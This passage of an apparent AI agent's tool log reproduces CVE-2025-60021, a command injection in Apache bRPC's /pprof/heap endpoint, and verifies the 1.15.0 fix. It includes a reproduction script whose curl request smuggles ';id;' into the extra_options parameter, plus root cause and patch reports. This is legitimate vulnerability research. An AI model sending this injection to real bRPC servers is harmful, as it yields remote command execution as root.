        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 185,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:11:42.920650Z",
      "duration": 0.013377455999943777,
      "request": {
        "command": "cat > /home/user/pruva/repro/reproduction_steps.sh << 'EOF'\n#!/usr/bin/env bash\nset -euo pipefail\n\nROOT=\"$(cd \"$(dirname \"$0\")/..\" && pwd)\"\nWORKDIR=\"$ROOT/work\"\nLOG_DIR=\"$ROOT/logs\"\nmkdir -p \"$WORKDIR\" \"$LOG_DIR\"\n\ncleanup() {\n  if [[ -n \"${VULN_PID:-}\" ]]; then\n    kill \"$VULN_PID\" 2>/dev/null || true\n  fi\n  if [[ -n \"${FIXED_PID:-}\" ]]; then\n    kill \"$FIXED_PID\" 2>/dev/null || true\n  fi\n}\ntrap cleanup EXIT\n\nlog() {\n  echo \"[repro] $*\"\n}\n\ninstall_deps() {\n  log \"Installing build dependencies\"\n  if ! apt-get update; then\n    echo \"BLOCKED: apt-get update failed\" | tee \"$LOG_DIR/blocked.txt\"\n    exit 99\n  fi\n  if ! apt-get install -y \\\n      build-essential cmake git curl \\\n      libprotobuf-dev protobuf-compiler \\\n      libgflags-dev libgoogle-glog-dev libleveldb-dev \\\n      libssl-dev zlib1g-dev liblz4-dev libjemalloc-dev; then\n    echo \"BLOCKED: apt-get install failed\" | tee \"$LOG_DIR/blocked.txt\"\n    exit 99\n  fi\n}\n\nprepare_repo() {\n  if [[ ! -d \"$WORKDIR/brpc/.git\" ]]; then\n    log \"Cloning brpc\"\n    git clone https://github.com/apache/brpc.git \"$WORKDIR/brpc\"\n  else\n    log \"Updating brpc tags\"\n    git -C \"$WORKDIR/brpc\" fetch --tags\n  fi\n\n  if [[ ! -d \"$WORKDIR/brpc-1.14.1\" ]]; then\n    git -C \"$WORKDIR/brpc\" worktree add \"$WORKDIR/brpc-1.14.1\" 1.14.1\n  fi\n  if [[ ! -d \"$WORKDIR/brpc-1.15.0\" ]]; then\n    git -C \"$WORKDIR/brpc\" worktree add \"$WORKDIR/brpc-1.15.0\" 1.15.0\n  fi\n}\n\nbuild_brpc() {\n  local version_dir=\"$1\"\n  log \"Building brpc in $version_dir\"\n  mkdir -p \"$version_dir/build\"\n\n  if [[ ! -f \"$version_dir/build/output/lib/libbrpc.a\" ]]; then\n    (cd \"$version_dir/build\" && cmake ..)\n    (cd \"$version_dir/build\" && make -j2)\n  else\n    log \"Using existing brpc build artifacts\"\n  fi\n\n  (cd \"$version_dir\" && ./config_brpc.sh --headers=/usr/include --libs=/usr/lib/x86_64-linux-gnu)\n  if [[ ! -e \"$version_dir/output\" ]]; then\n    ln -s \"$version_dir/build/output\" \"$version_dir/output\"\n  fi\n\n  if [[ ! -f \"$version_dir/example/echo_c++/echo_server\" ]]; then\n    (cd \"$version_dir/example/echo_c++\" && make -j2)\n  else\n    log \"Using existing echo_server binary\"\n  fi\n}\n\nstart_server() {\n  local binary_path=\"$1\"\n  local log_path=\"$2\"\n  MALLOC_CONF=\"prof:true\" \\\n  LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libjemalloc.so.2 \\\n  JEPROF_FILE=/usr/bin/jeprof \\\n  \"$binary_path\" --port=8000 > \"$log_path\" 2>&1 &\n  echo $!\n}\n\ncheck_status() {\n  for _ in $(seq 1 10); do\n    if curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:8000/status | grep -q 200; then\n      return 0\n    fi\n    sleep 1\n  done\n  return 1\n}\n\ninstall_deps\nprepare_repo\n\nbuild_brpc \"$WORKDIR/brpc-1.14.1\"\n\nlog \"Starting vulnerable server\"\nVULN_PID=$(start_server \"$WORKDIR/brpc-1.14.1/example/echo_c++/echo_server\" \"$LOG_DIR/echo_server_vuln.log\")\nif ! check_status; then\n  echo \"BLOCKED: vulnerable server failed to start\" | tee \"$LOG_DIR/blocked.txt\"\n  exit 99\nfi\n\nlog \"Triggering command injection\"\nVULN_RESP=\"$LOG_DIR/vuln_response.txt\"\ncurl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;true\" | tee \"$VULN_RESP\" >/dev/null\nif ! grep -q \"uid=\" \"$VULN_RESP\"; then\n  echo \"FAIL: command injection not observed in vulnerable build\" | tee \"$LOG_DIR/failed.txt\"\n  exit 1\nfi\n\nkill \"$VULN_PID\" 2>/dev/null || true\nsleep 2\n\nbuild_brpc \"$WORKDIR/brpc-1.15.0\"\n\nlog \"Starting fixed server\"\nFIXED_PID=$(start_server \"$WORKDIR/brpc-1.15.0/example/echo_c++/echo_server\" \"$LOG_DIR/echo_server_fixed.log\")\nif ! check_status; then\n  echo \"BLOCKED: fixed server failed to start\" | tee \"$LOG_DIR/blocked.txt\"\n  exit 99\nfi\n\nlog \"Validating fix (no command injection)\"\nFIXED_RESP=\"$LOG_DIR/fixed_response.txt\"\ncurl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;true\" | tee \"$FIXED_RESP\" >/dev/null\nif grep -q \"uid=\" \"$FIXED_RESP\"; then\n  echo \"FAIL: command injection still possible in fixed build\" | tee \"$LOG_DIR/failed.txt\"\n  exit 1\nfi\n\nlog \"Reproduction successful\"\nexit 0\nEOF\nchmod +x /home/user/pruva/repro/reproduction_steps.sh",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 186,
      "name": "run_shell_background",
      "timestamp": "2026-01-21T00:11:51.907847Z",
      "duration": 0.0,
      "request": {
        "command": "/home/user/pruva/repro/reproduction_steps.sh",
        "timeout": 600.0
      },
      "response": {
        "task_id": "63f06236",
        "status": "started"
      }
    },
    {
      "index": 187,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:12:38.070614Z",
      "duration": 0.0,
      "request": {
        "task_id": "63f06236"
      },
      "response": {
        "task_id": "63f06236",
        "status": "done",
        "elapsed": 46.2,
        "returncode": 0
      }
    },
    {
      "index": 188,
      "name": "run_shell_background",
      "timestamp": "2026-01-21T00:12:45.699001Z",
      "duration": 0.0,
      "request": {
        "command": "/home/user/pruva/repro/reproduction_steps.sh",
        "timeout": 600.0
      },
      "response": {
        "task_id": "11969550",
        "status": "started"
      }
    },
    {
      "index": 189,
      "name": "poll_task",
      "timestamp": "2026-01-21T00:13:06.891552Z",
      "duration": 0.0,
      "request": {
        "task_id": "11969550"
      },
      "response": {
        "task_id": "11969550",
        "status": "done",
        "elapsed": 21.2,
        "returncode": 0
      }
    },
    {
      "index": 190,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:13:19.186631Z",
      "duration": 0.010912953999650199,
      "request": {
        "command": "cat > /home/user/pruva/repro/patch_analysis.md << 'EOF'\n# Patch Verification Notes - CVE-2025-60021\n\n## Patched Version Tested\n- Apache bRPC 1.15.0 (tag `1.15.0`)\n- Built from source with system dependencies\n- Jemalloc profiling enabled via `MALLOC_CONF=prof:true` and `LD_PRELOAD=libjemalloc.so.2`\n\n## Test Case\n```\nGET /pprof/heap?display=text&extra_options=inuse_space;id;true\n```\n\n## Expected Vulnerable Behavior\nInjected command executes and `uid=` output appears in HTTP response body.\n\n## Observed Behavior on 1.15.0\n- Response contains only the sanitized `jeprof` command with `--text` and **no injected output**.\n- `uid=` string is **absent** from the response body.\n\nEvidence captured in:\n- `logs/fixed_response.txt`\n\n## Conclusion\nThe whitelist added in 1.15.0 blocks non-whitelisted `extra_options` values, preventing shell metacharacter injection.\nEOF",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 191,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:15:34.929643Z",
      "duration": 0.01590414300062548,
      "request": {
        "command": "grep -n \"uid=\" /home/user/pruva/logs/vuln_response.txt | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "82:uid=0(root) gid=0(root) groups=0(root)\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 192,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:15:46.019509Z",
      "duration": 0.014467369000158214,
      "request": {
        "command": "grep -n \"uid=\" /home/user/pruva/logs/fixed_response.txt | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 193,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:16:01.788050Z",
      "duration": 0.011375048000445531,
      "request": {
        "command": "cat > /home/user/pruva/repro/rca_report.md << 'EOF'\n# Root Cause Analysis - CVE-2025-60021\n\n## Summary\nApache bRPC versions 1.11.0 through 1.14.x allow remote command injection via the built-in `/pprof/heap` endpoint when jemalloc profiling is enabled. The handler concatenates the user-controlled `extra_options` query parameter directly into a shell command used to invoke `jeprof`, and the command is executed through `popen`, allowing shell metacharacters to execute arbitrary commands.\n\n## Impact\n- **Component:** `src/brpc/details/jemalloc_profiler.cpp` (jemalloc heap profiler endpoint `/pprof/heap`)\n- **Affected versions:** 1.11.0 to <1.15.0\n- **Risk level:** Important — remote command execution as the service user, enabling data exfiltration and lateral movement.\n\n## Root Cause\nThe heap profiler handler builds a command line for `jeprof` and appends the `extra_options` query parameter without validation:\n- Vulnerable code (1.14.1): `cmd_str += \" --\" + *uri_extra_options + \" \";`\n- The command is executed via `butil::read_command_output`, which uses `popen()` (`/bin/sh -c`), so shell metacharacters in `extra_options` are interpreted.\n\nThe fix in 1.15.0 introduces a whitelist of allowed `extra_options` values and ignores unsupported inputs, preventing shell metacharacter injection. See PR https://github.com/apache/brpc/pull/3101.\n\n## Reproduction Steps\n1. Run `repro/reproduction_steps.sh`.\n2. The script builds bRPC 1.14.1 and 1.15.0, starts the echo server with jemalloc profiling enabled, then issues crafted `/pprof/heap` requests.\n3. Expected evidence: `uid=...` appears in `logs/vuln_response.txt` for 1.14.1 and is absent in `logs/fixed_response.txt` for 1.15.0.\n\n## Evidence\n- Vulnerable response (1.14.1): `logs/vuln_response.txt`\n  - `uid=0(root) gid=0(root) groups=0(root)` (line 82)\n- Fixed response (1.15.0): `logs/fixed_response.txt`\n  - No `uid=` output present.\n- Build and runtime logs:\n  - `logs/echo_server_vuln.log`\n  - `logs/echo_server_fixed.log`\n\nEnvironment details:\n- Ubuntu with system dependencies installed via `apt-get`.\n- jemalloc enabled via `MALLOC_CONF=prof:true` and `LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libjemalloc.so.2`.\n\n## Recommendations / Next Steps\n- Upgrade to bRPC 1.15.0 or apply the whitelist patch from PR #3101.\n- Consider avoiding shell execution entirely (pass arguments directly to `execve` without shell) for any future tooling.\n- Add regression tests for `/pprof/heap` to ensure only approved options are accepted.\n\n## Additional Notes\n- Idempotency verified: `repro/reproduction_steps.sh` executed twice successfully.\n- The exploit only applies when jemalloc profiling is enabled and `/pprof/heap` is reachable.\nEOF",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 194,
      "name": "run_shell",
      "timestamp": "2026-01-21T00:16:12.197367Z",
      "duration": 0.013909713999964879,
      "request": {
        "command": "ls -la /home/user/pruva/repro /home/user/pruva/logs",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "/home/user/pruva/logs:\ntotal 25\ndrwxr-xr-x 2 root root 4096 Jan 21 00:12 .\ndrwxr-xr-x 1 root root 4096 Jan 20 23:55 ..\n-rw-r--r-- 1 root root 1045 Jan 21 00:12 echo_server_fixed.log\n-rw-r--r-- 1 root root  734 Jan 21 00:12 echo_server_vuln.log\n-rw-r--r-- 1 root root 4982 Jan 21 00:13 fixed_response.txt\n-rw-r--r-- 1 root root 3227 Jan 20 23:57 jemalloc_profiler.patch\n-rw-r--r-- 1 root root 5733 Jan 21 00:12 vuln_response.txt\n\n/home/user/pruva/repro:\ntotal 16\ndrwxr-xr-x 2 root root 4096 Jan 21 00:16 .\ndrwxr-xr-x 1 root root 4096 Jan 20 23:55 ..\n-rw-r--r-- 1 root root  805 Jan 21 00:13 patch_analysis.md\n-rw-r--r-- 1 root root 2637 Jan 21 00:16 rca_report.md\n-rwxr-xr-x 1 root root 3871 Jan 21 00:11 reproduction_steps.sh\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 195,
      "name": "list_memory_items",
      "timestamp": "2026-01-21T00:21:25.702263Z",
      "duration": 3.0770006560487673e-06,
      "request": {},
      "response": {
        "items": [
          {
            "id": "3017f521-9dfd-429c-bdb1-511236ea992b",
            "description": "Vulnerable in brpc 1.14.1: jemalloc_profiler.cpp appends user-supplied extra_options directly to jeprof command (cmd_str += \" --\" + *uri_extra_options + \" \"), enabling shell metacharacter injection when read_command_output executes via /bin/sh -c.",
            "status": "active",
            "metadata": {}
          }
        ],
        "count": 1
      }
    }
  ]
}